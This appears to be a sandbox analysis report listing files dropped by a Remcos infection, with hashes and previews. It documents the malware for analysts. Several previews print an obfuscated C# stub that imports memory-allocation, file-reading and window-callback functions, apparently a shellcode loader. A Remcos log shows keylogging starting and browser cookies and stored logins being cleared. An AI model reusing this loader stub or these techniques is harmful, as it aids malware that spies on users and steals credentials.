                            MD5:49297CF41EFFCE47C344B08866E9F1BD
                            SHA1:421DF45146B3DB830F3690CE5CCD70549D2E0C32
                            SHA-256:485E053014ACBEF851F70379D5E634E3FC6E951F76519B98EA8CAAC2E0EB3229
                            SHA-512:96952D7C8BC2CD0A707F116AEB0EC666CB93F1B014E38052D703371F9293952C0020EE51B89327CBDBDDC23E82E0E29AB73176E1B20897DE81AB483142DDCA1A
                            Malicious:false
                            Reputation:unknown
                            Preview:L....[.a.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........K....c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP................Ka\.DG.r..Y.6B............4.......C:\Users\user\AppData\Local\Temp\RESD568.tmp.-.<...................'...Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.m.4.3.w.o.r.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ey3l5zz.5em.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_44sbwrlu.vpn.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ansctxp0.z0a.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5juvrhk.vf2.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdkzcoqz.qqx.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n2mec0pm.ex3.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmioe5ck.e4k.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0eeuky2.wtr.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sbqcuw3q.cze.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yatvffab.mac.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\t20mycit.0.cs

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):734
                            Entropy (8bit):5.230452745628746
                            Encrypted:false
                            SSDEEP:12:V/DGrGWvLMtxjFavVtKMI+KhJVIAFCkWvgwQiP27xNMNe4UY:JoTvLMtdFadKXH7CkWq+kTMNe4B
                            MD5:6314FACBE2F665388A6B8F4B896DC466
                            SHA1:E2C28D0A6F2296F48C3CFB1E446CD6691BF1C252
                            SHA-256:CD7E99D32CB2B1D17DB5AA28CAB64BF5A54562C1D3B46C2E19C07B924DA350AF
                            SHA-512:F326A1EECD0E0F418607E688BD8466A65062E1615F5D8B82BF80A5474B10269BA95F465C3E6D6E78DE11DD7B17BF7D0441542FBE545E54DAB167544B620ABAB8
                            Malicious:false
                            Reputation:unknown
                            Preview:.using System;..using System.Runtime.InteropServices;..public static class Scriptere1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);..[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);..}

                            C:\Users\user\AppData\Local\Temp\t20mycit.cmdline

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                            Category:dropped
                            Size (bytes):351
                            Entropy (8bit):5.234869777852696
                            Encrypted:false
                            SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fAxzxs7+AEszIWXp+N23fAAx:p37Lvkmb6KHIxWZE8I8
                            MD5:CD847B5284CDDB272692B5D1D47C3459
                            SHA1:FA4316BDE37F448A93F44CB08607597536F3A85D
                            SHA-256:1A1CAF1E50C5B823027736DD27BFA694DDAF5D8FB4A81BC19B1E081BEA88A8B6
                            SHA-512:0B26F4AF067A2D849EBD46246B099699D9E633DEA8EFB04B89BE1CF1B00991E355311740CA1F5515411A0B8012B60F108E7BEBDCF630613EF2E83B4F768BE0B2
                            Malicious:false
                            Reputation:unknown
                            Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\t20mycit.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\t20mycit.0.cs"

                            C:\Users\user\AppData\Local\Temp\t20mycit.out

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                            Category:dropped
                            Size (bytes):846
                            Entropy (8bit):5.311430301559461
                            Encrypted:false
                            SSDEEP:24:Aqd3ka6KHIGE8IpKaM5DqBVKVrdFAMBJTH:Aika6AIGE8IpKxDcVKdBJj
                            MD5:A4559742D2EC3AF78C5EECEC6A3B40B9
                            SHA1:15E0A3E691E705969C545FD86DDD31A48A89F57E
                            SHA-256:B8DB630A91E899C72EBBBED21F2BC95B3BC6CB7AA15739729DBBEBAD7C3273C5
                            SHA-512:5609F0D50110826ED5B7B17CDB9ABA3321DB3818D319A2F8357F07DEB6FE406DD3F9EDE55C01D6F2F6DB057C66AE35AFF2E21EE18D592F4A981195ACDEFF499F
                            Malicious:false
                            Reputation:unknown
                            Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\t20mycit.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\t20mycit.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                            C:\Users\user\AppData\Local\Temp\tm43worv.0.cs

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):734
                            Entropy (8bit):5.230452745628746
                            Encrypted:false
                            SSDEEP:12:V/DGrGWvLMtxjFavVtKMI+KhJVIAFCkWvgwQiP27xNMNe4UY:JoTvLMtdFadKXH7CkWq+kTMNe4B
                            MD5:6314FACBE2F665388A6B8F4B896DC466
                            SHA1:E2C28D0A6F2296F48C3CFB1E446CD6691BF1C252
                            SHA-256:CD7E99D32CB2B1D17DB5AA28CAB64BF5A54562C1D3B46C2E19C07B924DA350AF
                            SHA-512:F326A1EECD0E0F418607E688BD8466A65062E1615F5D8B82BF80A5474B10269BA95F465C3E6D6E78DE11DD7B17BF7D0441542FBE545E54DAB167544B620ABAB8
                            Malicious:false
                            Reputation:unknown
                            Preview:.using System;..using System.Runtime.InteropServices;..public static class Scriptere1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);..[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);..}

                            C:\Users\user\AppData\Local\Temp\tm43worv.cmdline

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                            Category:dropped
                            Size (bytes):351
                            Entropy (8bit):5.239590822803244
                            Encrypted:false
                            SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fNSXzxs7+AEszIWXp+N23fNSmGA:p37Lvkmb6KHVsWZE8VvGA
                            MD5:11654963EF047BDF4202258E21F47249
                            SHA1:82658B3772E819CA9EDD56FD4D98CDD331C1EDC4
                            SHA-256:A579778FE788EE679AFCCE0811A469246A79B87005B3CFF434E0E1EEBE93187A
                            SHA-512:53513270106437DBD0DA197B481ED3BB97C1A1816E9F66E663BDACD9D89A89B1F127316AFDAADD7B99ECF0347E2C096883E302D98CD4519C17690E53642FF9C2
                            Malicious:false
                            Reputation:unknown
                            Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\tm43worv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tm43worv.0.cs"

                            C:\Users\user\AppData\Local\Temp\tm43worv.dll

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                            Category:dropped
                            Size (bytes):3584
                            Entropy (8bit):3.203106967874409
                            Encrypted:false
                            SSDEEP:24:etGSnrp46UD48cF7Susu8dFkozE0BJz8VutkFi9sykWI+ycuZhN0xakS32PNnq:6KPDc8usu0NJwPFi9syH1ul0xa33Kq
                            MD5:4DBA98A8B20E7DEF07399B1F3B4178C3
                            SHA1:EF9FFD8C9D5B9697473FBDBA5236FAB73B38F537
                            SHA-256:283AB71A50C1B0F281C15AA7FB1948E715B63025806B8EF14D8577C08844FCBC
                            SHA-512:8DF02084E141F53B2276DE07197AE22C172A1FD71B00C746391A72501328195D343D8A56439A59D4865AFF466C64D61263245FD738E429ADAB4E08E6B32096A9
                            Malicious:false
                            Reputation:unknown
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....[.a...........!................n%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. ...(...#Strings....H.......#US.P.......#GUID...`...l...#Blob...........G.........%3............................................................2.+.....d.....d.......................................... 9............ Q............ ].!.......... f.+.......v...........................................................................................................(.

                            C:\Users\user\AppData\Local\Temp\tm43worv.out

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                            Category:modified
                            Size (bytes):849
                            Entropy (8bit):5.306381488328042
                            Encrypted:false
                            SSDEEP:24:KBqd3ka6KHHE8g1KaM5DqBVKVrdFAMBJTH:Uika6AHE8g1KxDcVKdBJj
                            MD5:E48144B120BC6ECB4E6982ACB5B8507D
                            SHA1:9DDC45A0FBFDCF8133ABB9D124C7176A6AF773FD
                            SHA-256:8B187D402EB2C6FC9FB65F9CAD1ADFD79F05BD8FD2DD3464D7D81817421FAAC3
                            SHA-512:9DB4B93063C4589232E4C0DA0C243B46B5A677A29FF35749DB0477879DC10AB63A5F14D3093FE66FF881DA5B5EAD37D7F09FA405F7F881540F327C442D4ED656
                            Malicious:false
                            Reputation:unknown
                            Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\tm43worv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tm43worv.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.0.cs

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):734
                            Entropy (8bit):5.230452745628746
                            Encrypted:false
                            SSDEEP:12:V/DGrGWvLMtxjFavVtKMI+KhJVIAFCkWvgwQiP27xNMNe4UY:JoTvLMtdFadKXH7CkWq+kTMNe4B
                            MD5:6314FACBE2F665388A6B8F4B896DC466
                            SHA1:E2C28D0A6F2296F48C3CFB1E446CD6691BF1C252
                            SHA-256:CD7E99D32CB2B1D17DB5AA28CAB64BF5A54562C1D3B46C2E19C07B924DA350AF
                            SHA-512:F326A1EECD0E0F418607E688BD8466A65062E1615F5D8B82BF80A5474B10269BA95F465C3E6D6E78DE11DD7B17BF7D0441542FBE545E54DAB167544B620ABAB8
                            Malicious:false
                            Reputation:unknown
                            Preview:.using System;..using System.Runtime.InteropServices;..public static class Scriptere1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);..[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);..}

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                            Category:dropped
                            Size (bytes):351
                            Entropy (8bit):5.264314964255387
                            Encrypted:false
                            SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fJ6qzxs7+AEszIWXp+N23fJ6h9n:p37Lvkmb6KHhfWZE8hQ9
                            MD5:B907ECA574C06990FA05BDF55E900AF5
                            SHA1:09FB6894BFC6761065A6162062D56D4682F3DEAB
                            SHA-256:00149F5AF310F566B64A13E0C38BBE680865935D0AFFBF327CF24ECAAF042EF3
                            SHA-512:7E313368F324785A34A513C08EA6856FFEB00C76C40CE6A6C4552C230AD3408066B63A43423A50680ADDB52AA62BCB2CD781177DC5E90A8D4E0B9F04C56E6969
                            Malicious:false
                            Reputation:unknown
                            Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\yy0zjl34.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\yy0zjl34.0.cs"

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.dll

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                            Category:dropped
                            Size (bytes):3584
                            Entropy (8bit):3.203984371038178
                            Encrypted:false
                            SSDEEP:48:6OPDc8usu0kJwPF2+9gtEH1ulKl8a3jljq:nDc8usupCLgthA8KZ
                            MD5:D22D9B0B09FA15E00141CBCBDFAE1301
                            SHA1:21AA769A4A4DF0B61E927BB1BFDFB251726FE824
                            SHA-256:FA03FA068DABDC268980A2653C1BB5390D95FBEC37C07BF740D09CFA1745A6D5
                            SHA-512:B3613CA2604D2D7E72CFDFBB6EFF40BF6361484D24CAFC163334E7C390AB0A653F2CB71FA1B7DE400E98A13C5E57F4C17708FE53E4D8B27639E5D70C78079816
                            Malicious:false
                            Reputation:unknown
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G\.a...........!................n%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. ...(...#Strings....H.......#US.P.......#GUID...`...l...#Blob...........G.........%3............................................................2.+.....d.....d.......................................... 9............ Q............ ].!.......... f.+.......v...........................................................................................................(.

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.out

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                            Category:modified
                            Size (bytes):846
                            Entropy (8bit):5.335305216655979
                            Encrypted:false
                            SSDEEP:12:xKqR37Lvkmb6KHhfWZE8hQ4KaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:Aqd3ka6KH2E8ZKaM5DqBVKVrdFAMBJTH
                            MD5:62E97906E41AF478E45642B6ACCEF0E8
                            SHA1:48C2463FC1CFB502FBA57D68B8ED09C08A738E12
                            SHA-256:2FAF6029B76249BEA7BEB4303A5B71546F9DEE946FF38B570B1A36AA48FFA96E
                            SHA-512:266F20407B1EF3D76FCF699A6DC53E0F4C79D3F5CEB526A4D846338F0AB72EF9E8889C203201F6C708558930F99FB00A826661C975EF3D98B6CD1BD600E6C30E
                            Malicious:false
                            Reputation:unknown
                            Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\yy0zjl34.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\yy0zjl34.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                            C:\Users\user\AppData\Roaming\remcos\logs.dat

                            Download File
                            Process:C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):760
                            Entropy (8bit):3.4955535682759646
                            Encrypted:false
                            SSDEEP:12:asD1ecAuR5iXt8LVtoiaEPLYEwfaipgQgWFe58+feW1+feW+:fQcXzo6QpdgWq8+feW1+feW+
                            MD5:62B5144F940979F0659FFA6B9FBD0F11
                            SHA1:1D15D8C46D5C6BF297DB5998B0FAF3469ED1D3D9
                            SHA-256:E25285C1307C85775824210E3CE0B760C7D7444C7F27FC93E16D06B5CBC01A82
                            SHA-512:9F08ED765B925F9ED41B1BFCE4098C9C41D0F0E373DB601179D72509655AF51D00DF53B11A00724BFFC21B8BC61DA19C9034667CF74E4294A5FA6C549C3D7876
                            Malicious:false
                            Reputation:unknown
                            Preview:....[.2.0.2.2./.0.1./.2.1. .1.7.:.2.1.:.0.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].......[.I.E. .c.o.o.k.i.e.s. .c.l.e.a.r.e.d.!.]...[.F.i.r.e.f.o.x. .C.o.o.k.i.e.s. .n.o.t. .f.o.u.n.d.]...[.F.i.r.e.f.o.x. .S.t.o.r.e.d.L.o.g.i.n.s. .n.o.t. .f.o.u.n.d.]...[.C.h.r.o.m.e. .C.o.o.k.i.e.s. .f.o.u.n.d.,. .c.l.e.a.r.e.d.!.]...[.C.h.r.o.m.e. .S.t.o.r.e.d.L.o.g.i.n.s. .f.o.u.n.d.,. .c.l.e.a.r.e.d.!.]...[.C.l.e.a.r.e.d. .b.r.o.w.s.e.r.s. .l.o.g.i.n.s. .a.n.d. .c.o.o.k.i.e.s...].......[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

